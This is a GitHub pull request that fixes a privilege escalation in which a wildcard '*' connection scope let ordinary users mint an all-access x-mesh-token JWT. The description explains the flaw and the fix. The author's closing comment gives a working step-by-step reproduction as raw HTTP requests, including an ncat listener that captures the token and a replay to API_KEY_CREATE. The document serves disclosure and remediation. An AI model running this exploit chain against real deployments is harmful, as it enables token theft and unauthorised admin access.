Skip to content

fix(auth): block wildcard "*" configuration scope on connections - #5021

Open
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/block-wildcard-connection-scopes
Open

fix(auth): block wildcard "*" configuration scope on connections#5021
0xcucumbersalad wants to merge 1 commit into
mainfrom
fix/block-wildcard-connection-scopes

Conversation

@0xcucumbersalad

@0xcucumbersalad 0xcucumbersalad commented Jul 22, 2026

Copy link
Copy Markdown
Contributor

Summary

Blocks a privilege-escalation path where a plain user-role member (or a brand-new self-signup) could obtain unconditional admin/owner-equivalent access.

A connection whose configuration_scopes contained the literal "*" caused extractConnectionPermissions to emit {"*":["*"]}, which is embedded into the outbound x-mesh-token JWT (mcp-clients/outbound/headers.ts). Downstream checkApiKeyPermission treats {"*":["*"]} as all resources, all tools, bypassing every role check. So any org member could:

  1. Create a connection with configuration_scopes: ["*"] (allowed for user role via connections:manage),
  2. Trigger the outbound proxy and harvest the wildcard x-mesh-token,
  3. Replay it to reach admin/owner-only tools such as API_KEY_CREATE, minting a persistent wildcard API key.

The wildcard could arrive either in the request body or be self-reported by a (potentially attacker-controlled) target MCP server during tool discovery — the server-reported scopes win the ternary in create.ts. So enforcement lives at the shared choke points, not the request body.

Changes

Defense-in-depth, two layers:

  1. Write-time / fail-fastvalidateConfiguration now calls a new assertNoWildcardScopes() that throws on any "*" scope. Runs in both COLLECTION_CONNECTIONS_CREATE and COLLECTION_CONNECTIONS_UPDATE, so the wildcard can never be stored — covering both the request-body and server-reported paths.
  2. Grant-time backstopextractConnectionPermissions no longer expands "*" into a wildcard grant, so any already-persisted "*" (pre-fix data, or a path that skipped validation) can never mint the escalation-enabling JWT.

Legitimate connection scopes are always resource-scoped ("KEY::SCOPE") and only grant access to the referenced connection. The genuine full-access credential path (per-run sandbox keys) goes through API-key creation directly, not connection configuration scopes — so nothing legitimate relies on the wildcard connection scope.

Testing

  • New apps/mesh/src/auth/configuration-scopes.test.ts (5 tests) covering rejection, the grant-time backstop, and that legitimate "KEY::SCOPE" scopes still map correctly. 5 pass.
  • Full auth suite: 77 pass, 0 fail.
  • tsc --noEmit: zero errors in the changed files. (The one remaining repo-wide error is a pre-existing ajv 8.18-vs-8.20 duplicate-version clash in node_modules, unrelated to this change.)

Notes / follow-ups

  • Legacy data: an existing connection that already has "*" stored will have any future config-touching update rejected until the scope is cleaned up. Intentional — and the grant-time backstop already neutralizes such connections regardless.
  • Scope: this closes the wildcard-scope escalation only. The deeper root cause — the mesh JWT being usable as a generic bearer credential (no aud/purpose claim) — and the connection_url SSRF remain separate, larger hardening items tracked elsewhere.

Summary by cubic

Block the "*" configuration scope on connections and stop wildcard grant minting to prevent all‑access x-mesh-token escalation. Closes a path where plain users could bypass role checks.

  • Bug Fixes

    • Reject "*" via assertNoWildcardScopes in validateConfiguration on create/update (covers body and server‑reported scopes).
    • Do not expand "*" in extractConnectionPermissions; legacy "*" yields no grant.
    • getReferencedConnectionIds excludes "*"; added focused unit tests for rejection and "KEY::SCOPE" mapping.
  • Migration

    • Existing connections with "*" must remove it before updating; tokens from such connections no longer get wildcard access.

Written for commit 927e158. Summary will update on new commits.

Review in cubic

@0xcucumbersalad
0xcucumbersalad force-pushed the fix/block-wildcard-connection-scopes branch from 2d92a57 to 729dbe3 Compare July 22, 2026 11:04
A connection whose configuration_scopes contained the literal "*" caused
extractConnectionPermissions to emit `{"*":["*"]}`, which is embedded into
the outbound x-mesh-token JWT. Downstream checkApiKeyPermission treats that
as unconditional "all resources, all tools" access, bypassing every role
check. Any org member could create such a connection, harvest the resulting
wildcard mesh JWT, and replay it to reach admin/owner-only tools
(e.g. API_KEY_CREATE) - a privilege escalation from a plain user/self-signup.

The wildcard could arrive either in the request body or be self-reported by
a (potentially attacker-controlled) target MCP server during tool discovery,
so enforcement lives at the shared choke points rather than the request body.

Defense-in-depth:
- validateConfiguration now rejects any "*" scope (assertNoWildcardScopes),
  failing fast at connection create/update before it can be stored. This
  covers both the request-body and server-reported paths.
- extractConnectionPermissions no longer expands "*" into a wildcard grant,
  so any already-persisted "*" can never mint the escalation-enabling JWT.

Legitimate connection scopes are always resource-scoped ("KEY::SCOPE") and
only grant access to the referenced connection; the genuine full-access
credential path goes through API key creation directly, not connection scopes.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@0xcucumbersalad
0xcucumbersalad force-pushed the fix/block-wildcard-connection-scopes branch from 729dbe3 to 927e158 Compare July 22, 2026 11:08
@0xcucumbersalad

Copy link
Copy Markdown
Contributor Author

Step 1 — signin with user role account

POST /api/auth/ HTTP/1.1
Response includes a Set-Cookie: header — capture the full cookie value(s) for Cookie: in every subsequent request.

Step 2 — get org slug

GET /api/auth/organization/list HTTP/1.1
Host: localhost:3000
Cookie: <cookie-from-step-1>
Connection: close

Step 3 — create malicious connection

POST /api/<SLUG>/tools/COLLECTION_CONNECTIONS_CREATE HTTP/1.1
Host: localhost:3000
Cookie: <cookie-from-step-1>
x-org-slug: <SLUG>
Content-Type: application/json
Content-Length: <computed>
Connection: close

{"data":{"title":"pwn","connection_type":"HTTP","connection_url":"http://localhost:9999/mcp","configuration_state":{"x":1},"configuration_scopes":["*"]}}
Response item.id → <CONN_ID>.

Step 4 — trigger outbound proxy (captured by your listener on port 9999)

POST /mcp/<CONN_ID> HTTP/1.1
Host: localhost:3000
Cookie: <cookie-from-step-1>
x-org-slug: <SLUG>
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-protocol-version: 2025-06-18
Content-Length: 58
Connection: close

{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}
Your listener (raw HTTP works here too — literally any TCP listener that dumps the request it receives, e.g. ncat -lk 9999 --sh-exec 'cat') will show the inbound request; grab the x-mesh-token: header value → <JWT>.

Step 5 — replay stolen JWT to mint a persistent wildcard API key

POST /api/<SLUG>/tools/API_KEY_CREATE HTTP/1.1
Host: localhost:3000
Authorization: Bearer <JWT>
x-org-slug: <SLUG>
Content-Type: application/json
Content-Length: 62

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants